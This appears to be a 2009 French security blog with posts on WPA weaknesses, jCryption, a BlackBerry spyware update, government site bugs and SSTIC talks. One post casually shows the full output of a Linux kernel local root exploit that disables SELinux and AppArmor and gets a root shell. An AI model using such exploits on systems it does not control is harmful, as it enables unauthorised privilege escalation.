Eh ouais. Si vous n'utilisez pas Google ou Yahoo, vous êtes forcément un gros hacker. Pensez-donc, si archie était toujours utilisé (qui l'utilise encore, sérieusement ?), on vous enverrait bouffer des oranges à Fleury-Merogis.
Elle réfute au total la prétention suivant laquelle le serveur aurait été d’accès totalement libre, et les données rendues disponibles grâce à un simple clic de souris, et soutient que la remise en ligne de l’article ne saurait être autorisée.
C'est assez ambigu tout ça. Mais en fait ça nous mène au vrai problème: la mauvaise foi des plaignants. Ils soutiennent qu'un accès FTP anonyme ne peut pas permettre un accès à leur serveur, tel que reproché. Il se trouve que des documentations sur des standards de l'informatique depuis 40 ans expliquent en toutes lettres que non, un accès FTP anonyme permet bien ce type d'accès. Mais allez expliquer ça à un juge...après tout, "anonymous" a bien besoin d'un mot de passe, même si celui ci peut être n'importe quel mot. Donc de ce point de vue là, pour un juge, c'est peut-être un peu flou.
Reste le problème du moteur de recherche "pas grand public". On considère quand, qu'un moteur de recherche n'est pas grand public ? Et quel aurait été l'argument si le fichier avait été référencé par Google, et trouvé via une des "recettes" de Johnny Long ? Parce que Google est clairement LE moteur de recherche grand public.

Finalement, quand je vois que la mauvaise foi l'emporte sur la réalité, je me demande comment faire confiance à la justice.
Heureusement, voici cette video:

lundi 21 septembre 2009

FRHackED

frhack.org...








Screenshot réalisé le 9/9/9 ! Le chiffre de la bête de l'apocalypse à l'envers !

vendredi 4 septembre 2009

Un site presque à jour

Ma curiosité m'a poussé sur le site du "ministère de la culture et de la communication", et j'ai pu remarquer quelques trucs amusants (non, rassurez vous, rien d'illégal ici, juste un site extrèmement mal fait et pas totalement à jour). Je précise que tout cela est constaté avec Firefox. ET Google Chrome (dev-build) Je n'ai pas vérifié avec Internet Explorer, je ne l'ai pas sous la main, je suis sous Linux. Alors on me dira peut-être que c'est à cause des logiciels libres, ou parce que je n'ai pas le parefeu offert par OpenOffice.
- Je me rends sur http://www.culture.gouv.fr et je souhaite voir les dossiers de presse (on sait jamais, ils sont remplis de LULZ). Je clique donc sur "Espace presse" dans le menu de gauche qui me mène à la bonne page. Jusque là, tout va bien. Je souhaite ensuite voir les dossiers thématiques: je clique donc sur "Dossiers thématiques". Là encore, la bonne page s'ouvre. Alors je vous entends d'ici, et vous vous demandez là où je veux en venir. Supposons que je veuille retourner sur "espace presse", je re-clique donc dessus. Et là, c'est le drame: on reste sur "dossiers thématiques".
Premier FAIL.
- Maintenant, je clique sur "Développement culturel", et là le site part totalement en couille:










Second FAIL.
- Je me rends donc sur la page "contact" du bas de page, parce que je me sens obligé de faire remonter cette information capitale, y compris à monsieur le ministre, Frédéric Mitterand. Et là, erreur fatale encore une fois:













Si vous regardez le titre de la fenêtre Firefox (le truc entre les balises TITLE si vous préférez), vous constaterez qu'il y a marqué: "Ecrire à Madame Albanel, Ministre de la Culture et de la Communication - 2008"; poste que cette Madame Albanel n'occupe plus depuis la fin juin 2009, pour être remplacée par Monsieur Frederic Mitterand.
Troisième FAIL.
C'est tout pour aujourd'hui.

samedi 29 août 2009

Mais arrêtez avec ça

Voilà, je l'attendais avec impatience:

Zataz qui raconte - encore - des âneries (bon, en même temps ça fait 15 ans qu'il le fait, donc ça ne devrait plus choquer grand monde). Il pousse le vice jusqu'à la mise à disposition d'un lien vers le document qu'il cite, alors qu'il n'a pas du bien le comprendre...ou même le lire en fait (en faisant comme beaucoup de gens: s'arrêter sur le gros titre et éventuellement un résumé de 3 lignes, pas forcément compréhensible pour quelqu'un qui n'a aucune notion technique - comme zataz - et faire du sensationnel).
Alors bien sûr, WPA ne devrait plus être utilisé par les gens qui ont du WPA2 à disposition (pourquoi prendre un niveau de protection plus faible, quand on peut utiliser un truc solide ?), mais cette attaque n'a pas non plus, pour le moment, la même incidence, et la même facilité d'utilisation, qu'une attaque via airmon/aircrack utilisable par à peu près n'importe qui.
Quand je parle de l'incidence, je veux dire par là qu'on ne peut pas récupérer la clé permettant de "se connecter" au point d'accès. On peut *juste* déchiffrer certains paquets (typiquement des paquets ARP, dont on connait une grande partie du contenu à l'avance). Dans la mesure où l'on effectue une attaque de type"man in the middle", il faut un petit peu plus de matériel "radio" que la moyenne (là ce n'est plus une attaque passive comme une capture airmon+cassage hors ligne avec aircrack, là il faut clairement patater plus fort que l'accesspoint). Non, vraiment, d'un point de vue théorique ça met bien à mal la sécurité offerte par WPA/TKIP (dans la mesure ou WPA/AES n'est pas affecté), mais dans la pratique, on peut encore l'utiliser un petit moment, sa plus grosse faiblesse dans la vie de tous les jours étant l'utilisation d'une passphrase simple ("qui figure dans toute bonne wordlist"), et ça, malheureusement ça arrivera même à ceux qui utiliseront WPA42 dans quelques années (je me rappelle encore l'accesspoint d'un(e) voisin(e) quand j'ai emmenagé [pas encore d'acces internet personnel], avec une clé WEP, assez triviale à deviner qui aurait pu m'éviter de lancer airmon)
Pour finir, as usual, ceux qui voudraient des infos bien plus complètes et pertinentes, ainsi qu'une très bonne analyse, devraient se ruer sur cet article du blog de sid.

vendredi 21 août 2009

eeebuntu sur un asus eeepc 900A

Finalement je ne serai resté qu'à peine plus de 24 heures sous Ubuntu 9.04 sur mon (vieil) eeepc, Cedric Pernet m'ayant rappelé en commentaire l'existence de Eeebuntu, qui est une distribution un petit peu plus adaptée aux netbooks.
Je me suis donc rué sur le site du truc et l'ai installé, en suivant strictement la même procédure que pour mon ubuntu de la veille, et tout s'est parfaitement bien passé. J'ai juste eu un tout léger problème: le wifi se désactivait (dans le bios) automatiquement après chaque redémarrage; obligation d'aller dans le bios, mettre le truc wlan en "enabled" à chaque démarrage. Ennuyeux non ?
J'ai fini par trouver la solution semble-t'il. Merci Google.

mercredi 19 août 2009

Ubuntu sur eeepc 900a

Hier soir je me suis lancé dans une entreprise vraiment périlleuse: changer l'OS de mon eeepc (900A). Par défaut, il est livré avec Xandros. Je l'ai acheté il y a déjà quelques mois (en octobre dernier), mais jusque là, la distrib installée par défaut me suffisait LARGEMENT. A vrai dire, voici l'usage que je faisais principalement de ce mini pc:
- lecture/écriture de mails lors de déplacements
- browsing web rapide lors de déplacements
- instant messenging occasionnel
- saisie de données lors de déplacements risqués en salle serveur
Autant dire, une utilisation vraiment "d'appoint" (en même temps, je pense qu'il ne faut pas en attendre plus de ces pc là). De toutes façons, coder là dessus est vraiment mission impossible, à moins d'aimer remapper le clavier (bon, une habitude prise dans une certaine école fait que je code avec un mapping qwerty, donc un problème de symboles '>' et '<' très difficilement accessibles en azerty ne se pose pas, mais la taille des touches *est* un problème :))
Alors plusieurs fois je me suis demandé si changer l'OS était vraiment utile finalement. Le truc, c'est que j'ai réussi à dérégler un peu les packages installés à force d'y aller à coup d'apt-get update/upgrade, et surtout en voulant supprimer certaines applications. Par exemple, "mr patate" est installé par défaut. Moi je n'ai que faire de "mr patate". Et c'est le cas de plein d'autres applications. Sauf que certaines sont, pour une raison que je n'arrive toujours pas à expliquer, des dépendances importantes du système de base. Et qu'il est donc impossible de les supprimer. Tout ça m'a donc bien bien saoulé, et ça m'a incité à installer un Ubuntu 9.04 hier soir.
J'y suis allé entièrement au feeling, mais pour ceux qui n'ont aucune idée de comment rendre une clé usb bootable pour y mettre un os live (live-usb quoi), une petite recherche sur google mène à de la documentation utile.
Et après de longues minutes d'installation, le système reboot et est utilisable (il met environ 25 secondes à démarrer avant d'afficher le prompt de login), tout le matériel est détecté (j'ai du quand même faire un petit tour dans le bios pour ré-activer la webcam, dont je me sers pas), le wifi qui fonctionne du premier coup, le son idem. Même le dernier exploit de spender:
meik@meik-eeepc:~/wunderbar_emporium$ ./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc086b3bc
[+] Resolved selinux_enabled to 0xc086b3b8
[+] Resolved apparmor_enabled to 0xc06a5d84
[+] Resolved apparmor_complain to 0xc086cfb8
[+] Resolved apparmor_audit to 0xc086cfc0
[+] Resolved apparmor_logsyscall to 0xc086cfc4
[+] Resolved security_ops to 0xc0869b60
[+] Resolved default_security_ops to 0xc06a4b40
[+] Resolved sel_read_enforce to 0xc02933d0
[+] Resolved audit_enabled to 0xc0828564
[+] got ring0!
[+] detected 2.6 style 8k stacks
[+] Disabled security of : LSM
[+] Got root!
# id
uid=0(root) gid=0(root) groupes=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(meik)
#
Il ne reste plus qu'à faire un petit peu de configuration/tuning, et le système sera pleinement opérationnel (après avoir fait les mises à jour, bien évidemment :))

mardi 11 août 2009

cryptophail

Korben (le fameux) a balancé dans la matinée un lien vers une sorte de lib permettant de réaliser des formulaires web dont le contenu est chiffré (par le browser, en javascript) avant d'être envoyé sur le réseau, puis déchiffré côté serveur et ensuite utilisé.
En lisant la FAQ, un truc m'a quelque peu ennuyé:
* How secure is jCryption ?
Well that’s not easy to say, the RSA public key encryption algorithm is one of the strongest and most secure in the world. It has survived over 20 years although it has some disadvantages/weaknesses. For example if you use a keylength +512bit. Like I mentioned before, everytime you submit a form the keypair will be newly generated, because of this fact jCryption, with it’s functions, is immune to some attacks. But I think in most cases it should be enough using a 512bit key because it’s not that easy to factorize a 512bit prime. But you can adjust the security level of jCryption very easy in PHP (see documentation page). But remeber the higher the security, the longer it takes to generate the keypair. Although jCryption offers some nice ways to bypass the waiting time of the key generation (see the full featured example).

* Why should I use jCryption instead of SSL ?
In my opinion jCryption is much easier to install and configure. Although I don’t think that jCryption is a replacement for SSL. It could be a nice addtion for your contact form or login page to simply make it more secure. If you need highest security you have to use SSL, because jCryption offers no way of authentication.
Et c'est là que vous réalisez à quel point des années de sécurité informatique tombent aux oubliettes. Parce que bon, les attaques Man in the Middle ça n'existe pas, c'est bien connu; donc on peut utiliser une clé de 512 bits (trop la classe, quand on lit que RSA 1024 bits ne doit plus être utilisé d'ici quelques années, même si ce n'est pas pour tout de suite) sans avoir peur que, au hasard, quelqu'un détourne le flux, et se fasse passer pour le véritable correspondant sans le prouver (car vous l'avez bien lu, "jCryption offers no way of authentication"), et puisse déchiffrer les données chiffrées et/ou les modifier (et ça, que ça soit 512 bits ou 4096).
Bon, au moins ils disent que ça ne remplace pas SSL. C'est déjà ça.

lundi 10 août 2009

Inside the World’s Most Hostile Network

Un reportage intéressant de Wired sur les admins réseau au DEFCON (qui a eu lieu il y a quelques jours).
Petite déception sur un point:
The staff offered mirrored ports to anyone who wanted to access and analyze a copy of all traffic traveling on the network set up for conference attendees. This is where the Wall of Sheep organizers examined the traffic to search for log-ins and passwords traveling unencrypted on the wireless network.
J'avoue que je m'attendais plus à ce que les fameux mots de passe soient interceptés par des méthodes plus bourrines, comme un bon vieux man in the middle/arp spoofing. A la place, c'est juste des accès sur un bête tap/port "mirroir".

jeudi 30 juillet 2009

zataz

S'il ne devait rester qu'un seul journaliste spécialiste de tout ce qui a trait au "hacking" et à "l'underground" ("l'andergrand" comme il le dit si bien, à la télé), moi je voudrais que ça soit zataz.
Pour Dan Kaminsky (auteur des antivirus du même nom, NDR) s'en prend pour son grade. Accès aux courriels [adresses des correspondants, ...], 0dayz [<> LS -AL 0DAYZ/]; login et mot de passe base SQL, ...
Je ne me souvenais pas que Dan Kaminsky était l'auteur d'un antivirus. Par contre, Eugene Kaspersky, oui. Bon puis c'est blindé de fautes. Sacré Zataz. Espérons pour lui qu'il ne fasse pas partie des prochains à voir leur correspondance privée étalée dans le prochain numéro de ZF0.
Edit: bon par contre, ça a été corrigé, quel dommage :(

dimanche 19 juillet 2009

bigbrother phail

Un opérateur de téléphonie mobile des Emirats Arabes Unis a mis à disposition de ses abonnés un programme, en le présentant comme une mise à jour logicielle pour leurs blackberries. Jusque là, rien de bien anormal, du moins en apparence. Possédant un tel téléphone, mon opérateur de téléphonie met à disposition, dans la section support de son site, des mises à jour pour l'OS du téléphone par exemple (et même pour l'application permettant la synchronisation du téléphone sur le PC!)
Là où ils ont décidé d'adopter la stratégie de l'échec, c'est quant à leurs fichiers distribués. Je n'ai pas encore eu l'occasion de développer sur BlackBerry (mais j'envisage bien de m'y mettre un jour), donc je ne suis pas un gros spécialiste, mais pour faire simple, les applications sont distribuées sous forme d'un fichier .cod, qui est un truc chiffré/signé par RIM pour pouvoir s'exécuter sur tous les téléphones, et ainsi être distribué. Puis il y a les .jar que tout le monde connait en Java, facile à analyser et étudier. Le premier big phail (enfin, en réalité c'est le second) a été de distribuer les deux fichiers (seul le .cod suffisait). Ce qui a fait que des gens un peu curieux, après analyse, aient réalisé de quoi il s'agissait: une belle backdoor pouvant récupérer leurs e-mails.
Maintenant, qu'est-ce qui a pu en motiver certains à analyser ce fichier ? Ok, la curiosité. Mais pas seulement. Des gens se sont plaint que la batterie de leur téléphone s'usait super rapidement (j'ai lu quelque part que des batteries se déchargeaient en 30-60 minutes!), ça a donc du en motiver certains à regarder ce que faisait cette mise à jour, et comprendre, outre le fait que ça soit une backdoor, pourquoi elle bouffait la batterie à cette vitesse: quand la backdoor essayait de "téléphoner maison", et qu'elle échouait (en raison d'un serveur saturé par ce grand nombre de connexions), elle ré-essayait en boucle en permanence.
Voici en vrac quelques liens qui parlent de ce léger incident (puis encore ici et surtout une analyse ), qui, cela ne m'étonnerait pas, pourrait tout à fait se produire dans notre beau pays dans pas si longtemps que ça (bon, ensuite, tant que les commerciaux utiliseront les mots "crypté" ou "aes 256 bits" pour vanter les mérites des BlackBerries, les gens penseront que cela n'est pas possible que leurs mails soient interceptés).
Notons également que lors de l'achat d'un téléphone (typiquement dans une boutique orange/sfr/bouygues hein), un certain nombre d'applications sont pré-installées, alors pourquoi pas une telle backdoor un jour ?
En attendant, chiffrons nos mails (jusqu'à ce qu'on en vienne à la backdoor qui récupère les clés pgp et qui fasse keylogger). Par contre, je n'ai toujours pas trouvé d'application libre et gratuite me permettant d'utiliser GPG sur mon blackberry. Juste une application payante et closed source (mais le développeur est sympathique et réactif, d'après mes quelques échanges de mails avec lui).

phail / SElinux / etc

Le nouveau sujet à trolls du moment, courtesy of Spender. La lecture des commentaires dans le code de l'exploit est amusante, avec des trolls sur la gestion de la sécurité en général par les mecs qui maintiennent les sources de Linux (le noyau quoi). On peut trouver quelques pensées à ce sujet sur quelques bons blogs francophones.
Bon alors ensuite, cet exploit de spender est sympa dans la mesure où il exploite une vulnérabilité qui n'est pas exploitable juste en lisant le code. En réalité c'est gcc qui, via ses optimisations, supprime un test (un if (!tun)). J'avais balancé un lien vers un article parlant de ce genre de risques il y a un peu plus d'un an déjà (m ai 2008). Je ne pensais pas en voir une application réelle aussi magistrale :-)
Pour mémoire:
On April 4, CERT put out a scary advisory about the GNU Compiler Collection (GCC). This advisory raises some interesting issues on when such advisories are appropriate, what programmers must do to write secure code, and whether compilers should perform optimizations which could open up security holes in poorly-written code.
Pour notre plus grand plaisir.

mercredi 8 juillet 2009

Le buzz OpenSSH du moment

Bon c'était le buzz de ces deux derniers jours, "y-a-t'il un 0day dans OpenSSH massivement utilisé ?". Alors on a des forums géniaux (merci à la personne qui a balancé le lien sur twitter et qui se reconnaitra, j'ai bien ri :)).
Au final, ce soir on a pu lire ce qu'un dev OpenSSH a lancé, à savoir:

I don't have any non-public information. I have exchanged some emails with
one of the victims of the alleged sshd 0day, but he was not able to provide any
evidence that the attack was sshd-related. In particular, I spent some time
analysing a packet trace that he provided, but it seems to consist of simple
brute-force attacks.à croire que c'est un bête bruteforce. Pas trop de quoi s'affoler si on a pas de mot de passe débile (bon, d'accord...quand je vois mes logs ssh avec la quantité de tentatives de bruteforce, je me dis qu'il y a un paquet de machines qui se sont faites pwner par des wormn'exclut pas, bien sûr, la possibilité qu'il y ait une faille réellement exploitée, mais cela semble peu probable.

Ah, booon...me voilà rassuré

Le Livre blanc sur la défense et la sécurité nationale a retenu le risque d'une attaque informatique contre les infrastructures nationales comme l'une des menaces majeures des 15 prochaines années. Il identifie un certain nombre de mesures à prendre afin de contrer ce risque.

La création d'une agence de la sécurité des systèmes d'information permet à la France de se doter d'une capacité de défense de ses systèmes d'information. Elle sera l'instrument de la mise en œuvre d'une véritable politique de défense contre les attaques informatiques.

Espérons que les prochaines attaques ne soient pas extrèmement sophistiquées, et ne franchissent pas toutes les défenses (dit comme ça, on dirait qu'on parle d'un footballeur ou d'un rugbyman qui a réussi à passer la défense adverse quand même). Allez, ne soyons pas mauvaises langues, et attendons de voir.

mercredi 1 juillet 2009

Soirée crypto

En faisant mon tour du soir de mes feed RSS, je suis tombé sur ces deux articles de Bruce Schneier (le seul, l'unique). Le premier parle de l'algorithme MD6 qui a été retiré du concours SHA-3 du NIST, par son concepteur (Ron Rivest) pour des raisons de fiabilité dans les conditions requises (à savoir, avec le nombre de "tours" demandé, l'algorithme n'est plus aussi fiable qu'avec le nombre de tours conseillés par le concepteur). Une anecdote raconte également que dans la majorité des cas, quand un algorithme se retire de la compétition, c'est fait de manière silencieuse après découverte de faiblesses; dans ce cas là, Ron Rivest l'a fait "avec classe".
Le second post quant à lui balance le lien vers un PDF qui avait échappé à tout le monde (sauf Bruce !) exposant une "nouvelle" attaque sur AES (192 et 256 seulement, la variante 128 bits est épargnée) ayant une complexité de 2^119 (donc meilleure que le brute force). Reste que même avec cette complexité, on en est pas encore à pouvoir trouver une clé AES en 5 secondes avec un pc de bureau, vu les contraintes mémoire (2^77, on en rêve :))

mercredi 17 juin 2009

Un (petit) pas en avant

Google ne devrait pas tarder à généraliser l'utilisation du SSL pour une grande partie de ses services, dont le mail (gmail, qui propose une option permettant d'activer le ssl en permanence, au lieu de n'avoir qu'une authentification chiffrée[1]) et sa "suite bureautique" (ça fait tache d'ouvrir un document dans google docs, et de se faire sniffer la connexion parce qu'on est sur un réseau wifi public [ensuite, si on a des documents vraiment confidentiels, on utilise pas google, mais ça c'est un autre débat])
Ce qui les a poussés à avancer de la sorte, c'est une lettre (ouverte ?) adressée au CEO de Google, rédigée par des stars dans le domaine de la sécurité et de la cryptographie, avec entre autres Bruce Schneier, Steven Bellovin, Jeff Moss, Ron Rivest et plein d'autres.
Dans un premier temps, la feature sera testée sur un certain nombre d'utilisateurs afin d'évaluer la charge CPU (car mine de rien, la crypto, ça pompe des ressources), avant d'être ensuite généralisée pour de bon.
Alors ensuite je ne sais pas comment ils envisagent de faire pour se conformer aux lois de certains pays, vis à vis de la crypto. Je n'ai pas pu trouver d'info à ce sujet.

[1] à la différence de services comme msn/hotmail. et c'est tâche pour ces derniers dans la mesure où si quelqu'un sniffe le trafic, même si il n'arrive pas à obtenir les identifiants parce que chiffrés dans un échange SSL, le reste circulera en clair et il sera plus ou moins facile de lire une partie des mails de l'utilisateur (au moins ceux qu'il ouvre)

lundi 15 juin 2009

jeudi 11 juin 2009

Mozinor

Faisons un peu de hors sujet avec une vidéo de Mozinor bien bien amusante, basée sur une pub récente de La Poste (j'ignorais qu'il s'agissait d'une vraie pub à l'origine avant que l'on me le dise ce soir, vu que je n'ai pas de télé)

mercredi 10 juin 2009

Documents Corrompus

Surfons sur la vague, continuons dans la lignée des posts inutiles et parlons de cette grande trouvaille (LoLoLoL) qu'est le site "corrupted-files". Ce site vend des documents Microsoft Office corrompus, c'est à dire que lorsque l'on en ouvre un, cela génère une erreur disant que le document est corrompu et ne peut pas être ouvert. Cool. Intérêt ? Envoyer un document qui semble correct à un prof/patron (typiquement le rapport du commercial hein) alors qu'on a rien foutu et qu'on veut gagner du temps ("oh comme c'est dommage, le document ne s'ouvre pas sur ton pc...")
En ouvrant un .docx avec un éditeur hexa, et en supprimant quelques octets, j'ai réussi à obtenir un message me disant que le document était corrompu:



Suivi, lorsque je clique sur OK, d'un message me disant que des données sont manquantes (j'ai peut-être été trop brutal lors de mon hexedit):


Et j'ai même réussi à obtenir un crash de Microsoft Word comme ça. Par contre je n'ai pas pensé à faire de screenshot, et vu que je n'arrive plus à le reproduire, c'est bien balot.
Je sens que je vais m'y mettre moi aussi à vendre des documents office corrompus pour 1 euro.
Plus sérieusement, je n'ai pas encore regardé comment OpenOffice ou AntiWord gèrent mon document corrompu (s'ils l'ouvrent quand même en essayant de se passer des infos manquantes en fonction de leur nature, ou s'ils échouent lamentablement comme Microsoft Word).
Puis faudrait aussi savoir quel est le contenu de ces fichiers Microsoft Office vendus sur ce site, car quand j'ouvre un .doc dans un hexedit, je vois quand même le texte apparaitre dedans. Et si l'étudiant paresseux envoie un tel document à son prof, et que ce dernier, en étudiant le contenu du fichier, découvre le "Lorem Ipsum blablabla", il risque de faire la tronche.

lundi 8 juin 2009

Challenge SSTIC

Il semblerait même que les diverses solutions du challenge SSTIC aient été mises en ligne (bon ça fait peut-être même quelques jours, mais je n'ai pas pensé à regarder ça ce week-end à vrai dire).
Ca me fera un peu de lecture pour les soirées à venir.

IRCFAIL

[mickou] hier je suis allé voir le film milenieum au ciné il est genial conseil allé le voir car la meuf qui joue le role de hackers pour un journaliste et tros baleze meme si sa reste qun film
Je pense que je vais grepper mes logs (quelle idée aussi d'idler sur ce chan irc) et faire un fichier de quotes de ce type.

Image du Challenge Securitech

Conformément à ce qui a été dit lors d'une rump session du SSTIC par Benjamin Caillat, une image vmware permettant de re-jouer une bonne partie des épreuves des différents challenges securitech a été mise à disposition via bit torrent (comme quoi, bittorrent ne permet pas QUE le partage des mp3 de johnny ou la filmographie complète de besson). Tout est décrit sur le site. Du coup j'en profite pour rendre ma bande passante chez OVH utile et je seed à une bonne vitesse pour permettre aux prochains téléchargeurs de la récupérer rapidement.

dimanche 7 juin 2009

CR SSTIC 09

Contrairement à l'an dernier, je n'ai pas fait de compte rendu de chaque journée le soir même. Cette année j'ai à peine commencé à rédiger un compte rendu, je le mettrai en ligne au fur et à mesure (je pense que ça me fera une bonne activité pour mes trajets dans le métro dans les deux jours à venir).
Mais pour faire court, quelques impressions en vrac:
- La keynote de Pascal Andrei, qui travaille à la sécurité et la sûreté des avions Airbus, et nous a expliqué en quoi ces deux domaines sont différents, en citant des exemples de chacun (instruments de vol et leur fiabilité en cas de problème, cas des gilets de sauvetage avant décollage, le cas de l'isolation des réseaux passagers des réseaux de pilotage (point dont il avait été question à propos du prochain avion de chez Boeing, avec une notice de la FAA))
- La backdoor ACPI qui se déclenche après une succession de branchements/débranchements d'un laptop d'une source d'alimentation électrique m'a bien plue. L'objectif était de démontrer que certains composants d'un ordinateur ne faisant pas partie des architectures de confiance à la TxT d'Intel (comme un BIOS) peuvent quand même piloter (enfin, "influencer") la protection offerte par ces mêmes architectures de sécurité, le tout en modifiant les tables ACPI. Edifiant. On dira même "du grand Loic Duflot".
- La conf sur l'ISO 27001, ça m'a sensiblement éclairé sur certains points. Ca ne va pas révolutionner la sécurité informatique (sinon ça se saurait), et son utilité reste quand même discutable (bien que le speaker nous a dit que la majorité des boites qui se font certifier le font par réel souci de bien gérer les événements de sécurité et les moyens de réponse, et le reste le fait juste pour avoir le label rouge)
- Une présentation de fuzzgrind, outil de fuzzing basé sur la recherche (et la résolution) de contraintes dans un programme (trouver ce qui fait qu'un if() retourne vrai/faux, ou dans quels cas un while() sort par exemple) à l'aide de valgrind (enfin, un module de valgrind, au même titre que le célèbre memcheck, sauf que ce module permet de représenter des conditions sous une forme symbolique) et STP (un solveur de contraintes) et générer des saisies qui peuvent faire que ces contraintes sont résolues. On a eu un exemple sur un crackme, résolu en très peu de temps avec fuzzgrind (bon, en même temps la solution du crackme consistait à sortir une serie de chiffres dont la valeur etait égale à 15). Mais la démo était vraiment convaincante. On a aussi eu un début de démo (mais qui n'a pas pu aboutir faute de temps) d'un fuzzing de "readelf". Le speaker aurait trouvé un problème là dedans avec son fuzzer. Dès que j'aurai plus de temps, je m'y intéresserai.
- Mon trollomètre a pas mal bougé pendant la conf de Nicolas Ruff ("Pourquoi la sécurité est un echec ...") mais je m'y attendais. Beaucoup de choses ont été dites, et il fallait qu'elles le soient. Ce talk mériterait un post entier (ou une série de posts entiers) pour en parler. Le top, c'est que tout ça sentait le vécu, et les exemples étaient vraiment géniaux, au point que j'aurais bien aimé en avoir d'autres.
- J'ai été un peu largué pendant la conf sur "le traçage de traitres en multimédia". En gros c'est la présentation d'une variante du watermarking avec une dose de théorie des jeux afin de dire qui est à l'origine d'une fuite du prochain film de luc besson en intégrant des bits par ci par là dans la vidéo, de la manière la moins visible possible, tout en étant un max résistant aux dégradations dues au ré-encodage dans un format différent et de moins bonne qualité. Il y avait des maths d'un niveau tout autre que le mien (n'oubliez pas que j'ai passé un bac Littéraire et que je n'ai quasiment pas fait de maths après le bac (epitech, tout ça))
- Un talk sur les XSS, là aussi, même si c'était assez généraliste, on a eu quelques ouvertures intéressantes (botnet basé sur du xss) et des démos amusantes (la démo du xss sur le site du sstic était pas mal, et le xss sur myspace (qui demande de ne pas utiliser la balise script) aussi). Je ne suis pas pentester, mais c'est un talk comme celui ci que j'attendais pour changer d'avis sur ce type de failles.
- Maitre Raynal nous a montré quelques contournements de la sécurité d'acrobat reader avec des PDF spécialement craftés, avec par exemple un PDF qui exécute un binaire embarqué dans le fichier PDF une fois ouvert. Pas mal. Je m'intéressais à ce type d'attaques depuis un moment (pas forcément PDF, mais aussi les documents office par exemple), je pense que les actes vont bien m'occuper (le truc bien, c'est que les siens sont déjà en ligne pour ceux qui n'ont pas eu l'honneur d'y assister)
- Le talk sur la récupération des frappes claviers (filaires et sans-fils !!) était vraiment génial. Même si le concept est bien vieux (sur cryptome.org on trouve des documents déclassifiés de la NSA (grace au FOIA aux états unis) parlant de ce type d'écoutes et qui datent des années 50 ou 60), c'était captivant. Le speaker a bien réussi à intéresser tout le monde.

Concernant les rump sessions, là aussi je développerai dans les jours à venir, mais j'ai également fait une vidéo d'environ 25 minutes, correspondant aux 25 premières minutes de rumps. La qualité est moyenne, mais on arrive à entendre ce qui est dit, et on distingue quelques trucs au projecteur. La mauvaise nouvelle, c'est que j'ai pas trouvé de truc de compression pour conserver la meme qualité (enfin, si on peut dire ...) d'image et de son. Donc je vous uploaderai le fichier quelque part, qui fait dans les 1,5gb. Si quelqu'un parvient à en faire un fichier plus petit et utile (moi j'ai juste obtenu des fichiers inaudibles comme ça), je suis preneur.

J'ai aussi commencé à uploader une partie de mes photos. Du moins celles qui ne sont pas trop ratées (j'ai voulu éviter d'utiliser le flash, afin de ne pas perturber les speakers, du coup dans un amphi sombre, c'est pas super le résultat). Là aussi je mettrai le lien une fois l'upload terminé (ceux qui me suivent sur twitter ont peut être déjà vu celles que j'ai déjà pu uploader)

Je développerai tout ça au fur et à mesure en ajoutant mes commentaires sur les autres talks de ces trois jours un peu plus tard. De même, j'uploaderai mes photos et vidéos très prochainement et j'agrémenterai cet article de liens, so stay tuned. En attendant, vous pouvez vous rabattre sur le compte rendu fait en quasi direct par Sid. Il faudra aussi que je pense à remplir le sondage.